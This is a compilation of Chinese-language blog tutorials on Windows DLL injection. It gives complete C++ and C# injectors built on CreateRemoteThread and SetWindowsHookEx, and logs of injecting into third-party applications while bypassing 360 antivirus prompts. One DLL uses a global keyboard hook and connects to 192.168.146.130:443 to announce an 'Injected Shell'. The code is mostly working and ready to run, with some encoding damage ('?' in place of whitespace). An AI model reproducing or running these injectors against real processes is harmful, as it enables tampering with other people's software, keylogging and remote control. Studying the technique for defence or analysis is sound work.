strcat(DllPath, "\\..\\Debug\\MyDLL.dll"); //鏈接到DLL路徑
LPVOID pRemoteDllPath = VirtualAllocEx(hRemoteProcess, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (pRemoteDllPath == NULL)
{
? ? printf("VirtualAllocEx error\n");
? ? return -3;
}
l ?WriteProcessMemory()
我們利用該函數直接向遠程進程中分配好的空間中寫入DLL路徑字符串
BOOL WriteProcessMemory(
? ? HANDLE hProcess, ? ? ?// 進程的句柄，是用OpenProcess打開的
? ? LPVOID lpBaseAddress, // 要寫入的起始地址
? ? LPVOID lpBuffer, ? ? ?// 寫入的緩存區
? ? DWORD nSize, // 要寫入緩存區的大小
? ? LPDWORD lpNumberOfBytesWritten ? ? ? ? ?// 這個是返回實際寫入的字節。
? ?);
我們這里的實際代碼為：
//向遠程進程空間中寫入DLL路徑字符串
printf("DllPath is %s\n", DllPath);
DWORD Size;
if (WriteProcessMemory(hRemoteProcess, pRemoteDllPath, DllPath, strlen(DllPath) +1, &Size) == NULL)
? ? {
? ? ? ?printf("WriteProcessMemory error\n");
? ? ? ?return -4;
? ? }
printf("WriteRrmoyrProcess Size is %d\n\n", Size);
?
五、程序源碼
F ?DLL源碼：
#include
#include
#include
?
BOOL APIENTRY DllMain(HINSTANCE hInstDll, DWORD fdwReason, PVOID fImpLoad)
{
? ? switch (fdwReason)
? ? {
? ? ? ?case DLL_PROCESS_ATTACH :
? ? {
? ? ? ?//The DLL is being mapped into the process's address space.
? ? ? ?//DWORD ThreadId;
? ? ? ?//CreateThread(NULL, NULL, MessageThread, NULL, NULL, &ThreadId);
? ? ? ?MessageBox(NULL, L"DLL has been mapped!", L"1st RemoteThread", MB_OK);
? ? ? ?//打開文件，定義文件指針，指定打開方式為寫+追加
? ? ? ?FILE *fp = fopen("C:\\test.txt", "w"); ? ? //打開方式參數為字符串
? ? ? ?//文件讀寫函數：
? ? ? ?//讀寫字符：getc(), putc(); 讀寫字符串：fgets(), fputs()
? ? ? ?//向標準輸入輸出讀入寫出：
? ? ? ?//getchar(), putchar(); ?gets(0, puts(0;
? ? ? ? fputs("一個DLL測試文本\n", fp);
? ? ? ? //printf("Test finished\n");
? ? ? ?//關閉文件指針，釋放內存
? ? ? ? fclose(fp);
? ? } ? ? ?
? ? ? ?case DLL_THREAD_ATTACH:
? ? ? ?//A Thread is being created.
? ? ? ?MessageBox(NULL, L"RemoteThread has been created!", L"2nd RemoteThread", MB_OK);
? ? ? ?break;
? ? ? ?case DLL_THREAD_DETACH:
? ? ? ?//A Thtread is exiting cleanly.
? ? ? ?MessageBox(NULL, L"RemoteThread exit!", L"13rd RemoteThread", MB_OK);
? ? ? ?break;
? ? ? ?case DLL_PROCESS_DETACH:
? ? ? ?//The DLL is being ummapped from the process' address space
? ? ? ?MessageBox(NULL, L"DLL has been unmapped!", L"4th RemoteThread", MB_OK);
? ? ? ?break;
? ? }
? ? return TRUE; ?//Used only for DLL_PROCESS_ATTACH
}
??
F ?RemoteInjectExe.cpp
#include
#include
#include
#include
#include
?
extern int ListProcess();
extern int EnableDebugPriv(const WCHAR *);
?
int _tmain(int argc, TCHAR *argv[], TCHAR *env[])
{
? ? //為了成功使用CreateRemoteThread()函數，必須：
? ? //1.利用OpenProcess()獲得遠程進程的句柄
? ? //2.利用VirtualAllocEx(),WriteProcessMemory()寫入DLL路徑字符串
? ? //3.獲得遠程進程中LoadLibrary()的確切地址
?
? ? //輸入進程ID獲得進程句柄
? ? char YesNo;
? ? printf("是否查看當前進程列表獲得進程ID: Y or N?");
? ? scanf("%c", &YesNo);
? ? Sleep(250);
? ? if (YesNo == 'Y' || YesNo == 'y')
? ? ? ?ListProcess();
? ? printf("請輸入要注入的進程ID【‘’表示自身進程】：\n");
? ? DWORD dwRemoteProcessId;
? ? scanf("%d",&dwRemoteProcessId);
? ? //如果輸入“”表示向自身進程注入
? ? if (dwRemoteProcessId == 0)
? ? ? ?dwRemoteProcessId = GetCurrentProcessId();
?
? ? //獲得調試權限
? ? if (EnableDebugPriv(SE_DEBUG_NAME))
? ? {
? ? ? ?printf("Add Privilege error\n");
? ? ? ?return -1;
? ? }
? ? //調用OpenProcess()獲得句柄
? ? HANDLE hRemoteProcess;
? ? if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId)) == NULL)
? ? {
? ? ? ?printf("OpenProcess error\n");
? ? ? ?printf("Error Code:%d\n",GetLastError());
? ? ? ?system("pause");
? ? ? ?return -2;
? ? }
?
? ? //在遠程進程中分配內存，準備拷入DLL路徑字符串
? ? //取得當前DLL路徑
? ? char DllPath[260]; //Windows路徑最大為
? ? GetCurrentDirectoryA(260, DllPath); ?//獲取當前進程執行目錄
? ? printf("Proces***e Directory is %s\n", DllPath);?
? ? strcat(DllPath, "\\..\\Debug\\MyDLL.dll"); //鏈接到DLL路徑
? ? LPVOID pRemoteDllPath = VirtualAllocEx(hRemoteProcess, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
? ? if (pRemoteDllPath == NULL)
? ? {
? ? ? ?printf("VirtualAllocEx error\n");
? ? ? ?return -3;
? ? }
?
? ? //向遠程進程空間中寫入DLL路徑字符串
? ? printf("DllPath is %s\n", DllPath);
? ? DWORD Size;
? ? if (WriteProcessMemory(hRemoteProcess, pRemoteDllPath, DllPath, strlen(DllPath) +1, &Size) == NULL)
? ? {
? ? ? ?printf("WriteProcessMemory error\n");
? ? ? ?return -4;
? ? }
? ? printf("WriteRrmoyrProcess Size is %d\n\n", Size);
?
? ? //獲得遠程進程中LoadLibrary()的地址
? ? LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");
? ? if (pLoadLibrary == NULL)
? ? {
? ? ? ?printf("GetProcAddress error\n");
? ? ? ?return -5;
? ? }
? ? else
? ? {
? ? ? ?printf("LoadLibrary's Address is 0x%x\n\n", pLoadLibrary);
? ? }
?
? ? //啟動遠程線程
? ? DWORD dwThreadId;
? ? HANDLE hThread;
? ? if ((hThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pLoadLibrary, pRemoteDllPath, 0, &dwThreadId)) == NULL)
? ? {
? ? ? ?printf("CreateRemoteThread error\n");
? ? ? ?return -6;
? ? }
? ? else
? ? {
? ? WaitForSingleObject(hThread, INFINITE);
? ? printf("dwThreadId is %d\n\n", dwThreadId);
? ? printf("Inject is done\n");
? ? }
?
? ? //釋放分配內存
? ? if (VirtualFreeEx(hRemoteProcess, pRemoteDllPath, 0, MEM_RELEASE) == 0)
? ? {
? ? ? ?printf("VitualFreeEx error\n");
? ? ? ?return -8;
? ? }
?
? ? //釋放句柄
? ? if (hThread != NULL) CloseHandle(hThread);
? ? if (hRemoteProcess != NULL) CloseHandle(hRemoteProcess);
?
? ? system("pause");
? ? return 0;
}
?
六、運行測試
１.向記事本進程注入DLL
這里輸出了一些數據作為調試時查看的參考，可以看到寫入的DLL路徑
這是DLL加載進遠程進程地址空間時的DLL_PROCESS_ATTACH提示
這是遠程線程創建時的DLL_THREAD_ATTACH提示
這是遠程線程退出時DLL_THREAD_DETACH提示
查看此時記事本進程中的ＤＬＬ模塊
此時沒有彈出DLL_PROCESS_DETACH提示，因為我們的DLL還存在于記事本進程中，關閉記事本
２.向自身進程注入
在實際編寫時，常常會出現各種各樣的問題而弄不清原因在本地進程還是遠程進程。因而我們設定當輸入的進程ＩＤ為０時，向自身進程注入ＤＬＬ
然而當最后結束的時候卻會出現錯誤：
在網上查詢可以知道這種錯誤常常是由于殺毒軟件或者防火墻造成的，關閉360木馬防火墻后運行正常：
3.向其他進程注入
l ?向Kugoo7.exe注入會彈出360提示，允許后注入成功，之后正常退出，Kugoo7正常運行
有意思的發現是，由于我們沒有卸載Kugou7中的注入的DLL，因而在Kugou7播放的過程中時不時彈出創建線程的消息框提示，可見Kugou7本身在播放音樂的過程中也在不斷創建、釋放線程。
?
l ?向搜狗輸入法注入，依然是360彈出提示，允許后成功
仔細觀察發現上面360彈出警告的程序點都在源碼調用CreateRemoteThread()的時間點，可見360對該API進行了檢測。
?
l ?當向進程查看工具IceSword1.22注入時，在調用OpenProcess()時失敗，提示內存分配訪問無效，估計是設定了更高的訪問權限，使得Ring3級別的訪問基本都無效
========
DLL注入的幾種姿勢（一）：Windows Hooks?
http://www.freebuf.com/articles/system/93413.htmlDLL注入的目的是將代碼放進另一個進程的地址空間中，所以要怎樣才能實現DLL注入呢？
其實在Windows中有好幾種方法可以實現，這里我們首先嘗試通過“SetWindowsHookEx”創建鉤子（hooks）來實現。另外如果你對這方面很感興趣，可以參考文章最底下的相關文獻，這些文獻包含大量的代碼以及其他有用的信息。
Windows Hooks
首先我們需要理解Windows的hook機制和API函數SetWindowsHookEx。Hook 機制允許應用程序截獲處理窗口消息或特定事件。而鉤子又可以分為多種，例如WH_KEYBOARD和WH_MOUSE，這兩種鉤子可以分別用來監視鍵盤和鼠標的消息。同樣也存在這些鉤子的低版本。要想理解Hook機制，必須要清楚的是每一個Hook事件的發生都有一個與之相關聯的指針列表，稱之為Hook鏈表。這個鏈表存在一系列的子進程，并且伴隨著事件而執行。
下面是Hook子程的語法，來源MSDN：
圖片1.png
使用SetWindowsHookEx實現DLL注入
使用API函數SetWindowsHookEx()把一個應用程序定義的Hook子程安裝到 Hook鏈表中。這是該函數的語法，來源MSDN：
圖片2.png
idHook是Hook的類型，lpfn是Hook子程的地址指針，hMod是應用程序實例的句柄，最后dwThreadId標識當前進程創建的線程。為了要讓lpfn指向子程，首先通過LoadLibrary函數加載DLL文件至exe文件的地址空間中。然后通過GetProcessAddress獲得所需函數的地址。最后調用SetWindowsHookEx，等待我們設置好的事件發生或者創建一個類似BroadcastSystemMessage的消息服務。一旦事件發生，Windows將會加載DLL至目標進程的地址空間中。
代碼
下面的代碼來源這里，首先通過LoadLibrary函數將DLL加載至可執行程序中。調用GetProcessAddress函數從DLL中獲取注入地址。最后設置一個全局鉤子（參數設置為0表示監視全局線程），監視程序。
injector.c
#include <windows.h>
int main(int argc, char* argv)
{
? ? /*
? ? Loads inject.dll into the address space of the calling function, in this case the running exe
? ? */
? ? HMODULE dll = LoadLibrary("inject.dll");
? ? if(dll == NULL)
? ? {
? ? ? ? printf("Cannot find DLL");
? ? ? ? getchar();
? ? ? ? return -1;
? ? }
? ? /*
? ? Gets the address of the inject method in the inject.dll
? ? */
? ? HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject");
? ? if(addr == NULL)
? ? {
? ? ? ? printf("Cannot find the function");
? ? ? ? getchar();
? ? ? ? return -1;
? ? }
? ? /*
? ? Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address
? ? */
? ? HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
? ? if(handle == NULL)
? ? {
? ? ? ? printf("Couldn't hook the keyboard");
? ? }
? ? printf("Hooked the program, hit enter to exit");
? ? getchar();
? ? UnhookWindowsHookEx(handle);
? ? return 0;
}
injectShell.c
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved)
{
? ? FILE *file;
? ? fopen_s(&file, "C:\temp.txt", "a+");
? ? switch(Reason)
? ? {
? ? ? ? case DLL_PROCESS_ATTACH:
? ? ? ? ? ? fprintf(file, "DLL attach function called.n");
? ? ? ? ? ? break;
? ? ? ? case DLL_PROCESS_DETACH:
? ? ? ? ? ? fprintf(file, "DLL detach function called.n");
? ? ? ? ? ? break;
? ? ? ? case DLL_THREAD_ATTACH:
? ? ? ? ? ? fprintf(file, "DLL thread attach function called.n");
? ? ? ? ? ? break;
? ? ? ? case DLL_THREAD_DETACH:
? ? ? ? ? ? fprintf(file, "DLL thread detach function called.n");
? ? ? ? ? ? break;
? ? }
? ? fclose(file);
? ? return TRUE;
}
int inject(int code, WPARAM wParam, LPARAM lParam)
{
? ? WSADATA wsa;
? ? SOCKET s;
? ? struct sockaddr_in server;
? ? char *message;
? ? printf("\nInitializing Winsock...");
? ? if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
? ? {
? ? ? ? printf("Failed. Error Code : %d", WSAGetLastError());
? ? ? ? return(CallNextHookEx(NULL, code, wParam, lParam));
? ? }
? ? printf("Initialized. \n");
? ? if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET)
? ? {
? ? ? ? printf("Could not create socket : %d", WSAGetLastError());
? ? }
? ? printf("Socket Created. \n");
? ? server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address
? ? server.sin_family = AF_INET;
? ? server.sin_port = htons( 443 );
? ? if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
? ? {
? ? ? ? puts("connect error");
? ? ? ? return(CallNextHookEx(NULL, code, wParam, lParam));
? ? }
? ? puts("Connected");
? ? message = "Injected Shell";
? ? if( send(s, message, strlen(message), 0) <0)
? ? {
? ? ? ? puts("Send failed");
? ? ? ? return(CallNextHookEx(NULL, code, wParam, lParam));
? ? }
? ? puts("Data sent\n");
? ? return(CallNextHookEx(NULL, code, wParam, lParam));
}
這里我們可以看到，該DLL文件連接其他主機。
圖片3.png
接下來，DLL加載至另一個不同的進程中，成功！
圖片4.png
盡管這段代碼還存在問題，但我們設置的全局鉤子意味著可以監視任何按鍵信息。換句話說我們最終可以注入一些預期之外的東西。幸運的是，可以注入至一個特定的進程中。還有另一個包含一些必要修改的版本。MSDN幫助我獲得了一些我所需要的東西。這段代碼向目標注入中增加了一些額外的步驟。首先，獲得注入進程的id。通過這個獲得這個進程的線程id，而SetWindowsHookEx 函數中的最后的一個參數就是線程的id。接著開始監視我們的進程，我們只需等待。
injector2.c
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <psapi.h>
#include <tlhelp32.h>
/*
This method is used to get a thread id for a process.?
It loops through all of the threads and compares their pid with the desired pid
*/
DWORD getThreadID(DWORD pid)
{
? ? puts("Getting Thread ID");
? ? HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
? ? if(h != INVALID_HANDLE_VALUE)
? ? {
? ? ? ? THREADENTRY32 te;
? ? ? ? te.dwSize = sizeof(te);
? ? ? ? if( Thread32First(h, &te))
? ? ? ? {
? ? ? ? ? ? do
? ? ? ? ? ? {
? ? ? ? ? ? ? ? if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? if(te.th32OwnerProcessID == pid)
? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID);
? ? ? ? ? ? ? ? ? ? ? ? if(!hThread)
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? puts("Couldn't get thread handle");
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? ? ? else
? ? ? ? ? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? ? ? //DWORD tpid = GetProcessIdOfThread(hThread);
? ? ? ? ? ? ? ? ? ? ? ? ? ? //printf("Got one: %u\n", tpid);
? ? ? ? ? ? ? ? ? ? ? ? ? ? return te.th32ThreadID;
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? }
? ? ? ? ? ? } while( Thread32Next(h, &te));
? ? ? ? }
? ? }
? ? CloseHandle(h);
? ? return (DWORD)0;
}
/*
This method performs the actual injection. It gets an appropriate thread id, loads the dll,?
gets the address of the inject method, then calls SetWindowsHookEx.
*/
int processInject(int pid)
{
? ? DWORD processID = (DWORD)pid;
? ? ? ? TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
? ? ? ? HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);
? ? ? ? if (NULL != hProcess)
? ? ? ? {
? ? ? ? ? ? ? ? HMODULE hMod;
? ? ? ? ? ? ? ? DWORD cbNeeded;
? ? ? ? ? ? ? ? if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
? ? ? ? ? ? ? ? }
? ? ? ? }
? ? _tprintf( TEXT("Injecting into process %s PID: %u\n"), szProcessName, processID);
? ? DWORD threadID = getThreadID(processID);
? ? printf( "Using Thread ID %u\n", threadID);
? ? if(threadID == (DWORD)0)
? ? {
? ? ? ? puts("Cannot find thread");
? ? ? ? return -1;
? ? }
? ? HMODULE dll = LoadLibrary("inject2.dll");
? ? if(dll == NULL)
? ? {
? ? ? ? puts("Cannot find DLL");
? ? ? ? return -1;
? ? }
? ? HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "test");
? ? if(addr == NULL)
? ? {
? ? ? ? puts("Cannot find the function");
? ? ? ? return -1;
? ? }
? ? //Uses the threadID from getThreadID to inject into specific process
? ? HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);
? ? if(handle == NULL)
? ? {
? ? ? ? puts("Couldn't hook the keyboard");
? ? }
? ? getchar();
? ? getchar();
? ? getchar();
? ? UnhookWindowsHookEx(handle);
? ? return 0;
}
int main(int argc, char* argv)
{
? ? int pid;
? ? puts("Inject into which PID?");
? ? ? ? scanf ("%u",&pid);
? ? printf("PID entered: %u\n", pid);
? ? int result = processInject(pid);
? ? if(result == -1)
? ? {
? ? ? ? puts("Could not inject");
? ? }
? ? else
? ? {
? ? ? ? puts("Injected!");
? ? }
? ? getchar();
}
test1.c
#include <stdio.h>
#include <windows.h>
int test()
{
? ? char str[80];
? ? /*
? ? Get's the current process id to display in the message box
? ? */
? ? int id = GetCurrentProcessId();
? ? sprintf(str, "Hello, process: %d", id);
? ? MessageBox(NULL, str, "Hello DLL!", MB_OK);
? ? return 0;
}
圖片5.png
可以看到，這是從我們所選擇的進程中運行的消息框。通過Process Explorer可以看到DLL同時加載到Notepad++和injector程序中，這個正是由于程序本身就加載了DLL文件。
圖片6.png
盡管如此，監視進程還存在一定的局限性。一個進程必須存在消息循環并且確保能夠接收消息，這樣才能被監視到。這個主要限制了基于GUI的應用程序的目標。SetWindowsHookEx 同樣不能具有更高完整性的進程中使用。
逆向代碼
下面是IDA逆向第一個injector的代碼。
圖片7.png
上圖雖然不是進程的整個流圖，但是我們可以看到主要的SetWindowsHookEx部分。首先通過LoadLibraryA加載inject.dll。可以注意到，param1 在每個函數調用前被使用。將偏移地址保存在第一個參數所在的堆棧地址中。因此它獲得注入函數（dllMethod）的地址，之后將DLL的句柄賦給param1，調用GetProcAddress。最后，加載SetWindowsHookEx的參數值，并調用函數。對比下第二個函數。
圖片8.png
相比之下只有一個不同點，將threadID復制至寄存器中，之后再將其復制至第四個參數所在的堆棧地址中，再調用SetWindowsHookEx函數。是不是還不錯？在下一篇將準備開寫遠程線程注入方法，期待吧！
參考資料
http://win32assembly.programminghorizon.com/tut24.html
https://www.daniweb.com/software-development/cpp/code/217096/keylogger-using-window-hooks
https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx
http://blogs.msdn.com/b/oldnewthing/archive/2006/02/23/537856.aspx
http://www.binarytides.com/winsock-socket-programming-tutorial/
http://resources.infosecinstitute.com/using-setwindowshookex-for-dll-injection-on-windows/
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html
https://github.com/malark3y/DLL-Injection
https://warroom.securestate.com/index.php/real-world-malware-analysis/
========
使用C#完成DLL注入
http://blog.sina.com.cn/s/blog_4bd471210100s8qa.htmldll目錄不能有中文
關于DLL注入，我們這里不討論這個技術的應用，只關注于技術的實現，由于最近一直在學習C#所以就想使用C#來試試，其實這個注入跟什么編程語言沒有多大的關系，由于都是調用API實現的，又由于最近看的都是C#的，所以希望這里不會對朋友們造成誤解！
? ? ? ? ? ??
? ? 在開始編程之前，我們先找一個dll文件，這里我準備了一個DLL
[轉載]使用C#完成DLL注入
這里我是使用EditPlus編寫的，朋友們也可以使用VC++來編寫一個DLL。
這個DLL中主要就是注入后會在注入的目標程序的根目錄生成一個txt文件。
?
DLL準備完畢后，還要準備一個目標程序，主要就是將DLL注入到這個程序，由于我是測試，就隨便寫了個目標程序，朋友們也可以用系統中現有的程序來作為目標，比如QQ，計算器啦，等等！
[轉載]使用C#完成DLL注入
接下來我們就嘗試下完成DLL的注入。
主要步驟：
? ? ? ? ?A:通過窗體的Title或者進程信息找到程序的句柄。
? ? ? ? ?B:獲得進程句柄、分配內存。
? ? ? ? ?C:寫入數據。
? ? ? ? ?D:創建線程執行。
?
A：查找到目標程序
主要用的API有：
? ? ? ? ?[DllImport("user32.dll", EntryPoint = "FindWindow")]
private extern static IntPtr FindWindow(string lpClassName, string lpWindowName);
?
[DllImport("User32.dll", CharSet = CharSet.Auto)]
public static extern int GetWindowThreadProcessId(IntPtr hwnd, out int ID);
? ? ? ? ?
當然獲得句柄的方法有很多，這里我就用這種方法做演示。
?
調用函數找到窗體(這里找的是窗體的)：
IntPtr hwnd = FindWindow(null, "目標程序");
查找進程的ID
int PID;
GetWindowThreadProcessId(hwnd, out PID);
?
B：
? ? ? ? ?主要用的API有：
? ? ? ? ?[DllImport("kernel32.dll")]
? ? ?public static extern int OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
? ??
? ? ?[DllImport("kernel32.dll")]
? ? ?public static extern int VirtualAllocEx(int hwnd, int lpaddress, int size, int type, int tect);
?
? ? ? ? ?調用函數獲得操作的句柄
? ? ? ? ?int calcProcess = OpenProcess(2 | 8| 32, false, PID);
? ? ?分配內存空間，獲得首地址
? ? ?int address = VirtualAllocEx(calcProcess, 0, @"D:\dll.dll".Length + 1, 4096, 64);
?
C：
? ? ? ? ?主要用到的API是：
? ? ? ? ?[DllImport("kernel32.dll")]
? ? ?public static extern int WriteProcessMemory(int hwnd, int baseaddress, string buffer, int nsize, int filewriten);
? ??
? ? ?調用函數寫入內存
? ? ?if (WriteProcessMemory(calcProcess, address, @"D:\dll.dll", @"D:\dll.dll".Length + 1, 0) == 0)
? ? ?{
? ? ? ?MessageBox.Show("寫入內存失敗！");
? ? ?}
?
D：
? ? ? ? ?主要用到的API有：
? ? ? ? ?[DllImport("kernel32.dll")]
? ? ?public static extern int GetModuleHandleA(string name);
?
? ? [DllImport("kernel32.dll")]
public static extern int GetProcAddress(int hwnd, string lpname);
?
[DllImport("kernel32.dll")]
public static extern int CreateRemoteThread(int hwnd, int attrib, int size, int address, int par, int flags, int threadid);
?
調用Kernel32 的LoadLibraryA 方法來加載咱們的DLL
if (CreateRemoteThread(calcProcess, 0, 0, GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA"), address, 0, 0) == 0)
? ? ? ? MessageBox.Show("創建失敗！");
? ? else
? ? ? ? MessageBox.Show("成功");
========
通用 C# DLL 注入器injector(注入dll不限)
http://www.cnblogs.com/meyon/p/4009248.html? 為了方便那些不懂或者不想用C++的同志，我把C++的dll注入器源碼轉換成了C#的，這是一個很簡單實用的注入器，用到了CreateRemoteThread，WriteProcessMemory ，VirtualAllocEx這幾個Api
? 1 using System;
? 2 using System.Diagnostics;
? 3 using System.IO;
? 4 using System.Runtime.InteropServices;
? 5 using System.Text;
? 6?
? 7 namespace GijSoft.DllInjection
? 8 {
? 9 ? ? public enum DllInjectionResult
?10 ? ? {
?11 ? ? ? ? DllNotFound,
?12 ? ? ? ? GameProcessNotFound,
?13 ? ? ? ? InjectionFailed,
?14 ? ? ? ? Success
?15 ? ? }
?16?
?17 ? ? public sealed class DllInjector
?18 ? ? {
?19 ? ? ? ? static readonly IntPtr INTPTR_ZERO = (IntPtr)0;
?20?
?21 ? ? ? ? [DllImport("kernel32.dll", SetLastError = true)]
?22 ? ? ? ? static extern IntPtr OpenProcess(uint dwDesiredAccess, int bInheritHandle, uint dwProcessId);
?23?
?24 ? ? ? ? [DllImport("kernel32.dll", SetLastError = true)]
?25 ? ? ? ? static extern int CloseHandle(IntPtr hObject);
?26?
?27 ? ? ? ? [DllImport("kernel32.dll", SetLastError = true)]
?28 ? ? ? ? static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
?29?
?30 ? ? ? ? [DllImport("kernel32.dll", SetLastError = true)]
?31 ? ? ? ? static extern IntPtr GetModuleHandle(string lpModuleName);
?32?
?33 ? ? ? ? [DllImport("kernel32.dll", SetLastError = true)]
?34 ? ? ? ? static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flAllocationType, uint flProtect);
?35?
?36 ? ? ? ? [DllImport("kernel32.dll", SetLastError = true)]
?37 ? ? ? ? static extern int WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, int lpNumberOfBytesWritten);
?38?
?39 ? ? ? ? [DllImport("kernel32.dll", SetLastError = true)]
?40 ? ? ? ? static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttribute, IntPtr dwStackSize, IntPtr lpStartAddress,
?41 ? ? ? ? ? ? IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
?42?
?43 ? ? ? ? static DllInjector _instance;
?44?
?45 ? ? ? ? public static DllInjector GetInstance
?46 ? ? ? ? {
?47 ? ? ? ? ? ? get
?48 ? ? ? ? ? ? {
?49 ? ? ? ? ? ? ? ? if (_instance == null)
?50 ? ? ? ? ? ? ? ? {
?51 ? ? ? ? ? ? ? ? ? ? _instance = new DllInjector();
?52 ? ? ? ? ? ? ? ? }
?53 ? ? ? ? ? ? ? ? return _instance;
?54 ? ? ? ? ? ? }
?55 ? ? ? ? }
?56?
?57 ? ? ? ? DllInjector() { }
?58?
?59 ? ? ? ? public DllInjectionResult Inject(string sProcName, string sDllPath)
?60 ? ? ? ? {
?61 ? ? ? ? ? ? if (!File.Exists(sDllPath))
?62 ? ? ? ? ? ? {
?63 ? ? ? ? ? ? ? ? return DllInjectionResult.DllNotFound;
?64 ? ? ? ? ? ? }
?65?
?66 ? ? ? ? ? ? uint _procId = 0;
?67?
?68 ? ? ? ? ? ? Process[] _procs = Process.GetProcesses();
?69 ? ? ? ? ? ? for (int i = 0; i < _procs.Length; i++)
?70 ? ? ? ? ? ? {
?71 ? ? ? ? ? ? ? ? if (_procs[i].ProcessName == sProcName)
?72 ? ? ? ? ? ? ? ? {
?73 ? ? ? ? ? ? ? ? ? ? _procId = (uint)_procs[i].Id;
?74 ? ? ? ? ? ? ? ? ? ? break;
?75 ? ? ? ? ? ? ? ? }
?76 ? ? ? ? ? ? }
?77?
?78 ? ? ? ? ? ? if (_procId == 0)
?79 ? ? ? ? ? ? {
?80 ? ? ? ? ? ? ? ? return DllInjectionResult.GameProcessNotFound;
?81 ? ? ? ? ? ? }
?82?
?83 ? ? ? ? ? ? if (!bInject(_procId, sDllPath))
?84 ? ? ? ? ? ? {
?85 ? ? ? ? ? ? ? ? return DllInjectionResult.InjectionFailed;
?86 ? ? ? ? ? ? }
?87?
?88 ? ? ? ? ? ? return DllInjectionResult.Success;
?89 ? ? ? ? }
?90?
?91 ? ? ? ? bool bInject(uint pToBeInjected, string sDllPath)
?92 ? ? ? ? {
?93 ? ? ? ? ? ? IntPtr hndProc = OpenProcess((0x2 | 0x8 | 0x10 | 0x20 | 0x400), 1, pToBeInjected);
?94?
?95 ? ? ? ? ? ? if (hndProc == INTPTR_ZERO)
?96 ? ? ? ? ? ? {
?97 ? ? ? ? ? ? ? ? return false;
?98 ? ? ? ? ? ? }
?99?
100 ? ? ? ? ? ? IntPtr lpLLAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
101?
102 ? ? ? ? ? ? if (lpLLAddress == INTPTR_ZERO)
103 ? ? ? ? ? ? {
104 ? ? ? ? ? ? ? ? return false;
105 ? ? ? ? ? ? }
106?
107 ? ? ? ? ? ? IntPtr lpAddress = VirtualAllocEx(hndProc, (IntPtr)null, (IntPtr)sDllPath.Length, (0x1000 | 0x2000), 0X40);
108?
109 ? ? ? ? ? ? if (lpAddress == INTPTR_ZERO)
110 ? ? ? ? ? ? {
111 ? ? ? ? ? ? ? ? return false;
112 ? ? ? ? ? ? }
113?
114 ? ? ? ? ? ? byte[] bytes = Encoding.ASCII.GetBytes(sDllPath);
115?
116 ? ? ? ? ? ? if (WriteProcessMemory(hndProc, lpAddress, bytes, (uint)bytes.Length, 0) == 0)
117 ? ? ? ? ? ? {
118 ? ? ? ? ? ? ? ? return false;
119 ? ? ? ? ? ? }
120?
121 ? ? ? ? ? ? if (CreateRemoteThread(hndProc, (IntPtr)null, INTPTR_ZERO, lpLLAddress, lpAddress, 0, (IntPtr)null) == INTPTR_ZERO)
122 ? ? ? ? ? ? {
123 ? ? ? ? ? ? ? ? return false;
124 ? ? ? ? ? ? }
125?
126 ? ? ? ? ? ? CloseHandle(hndProc);
127?
128 ? ? ? ? ? ? return true;
129 ? ? ? ? }
130 ? ? }
131 }
注意：使用時必須安裝.netFramework
========
總結
- 上一篇： C# System.Runtime.In
- 下一篇： notepad++ 操作实例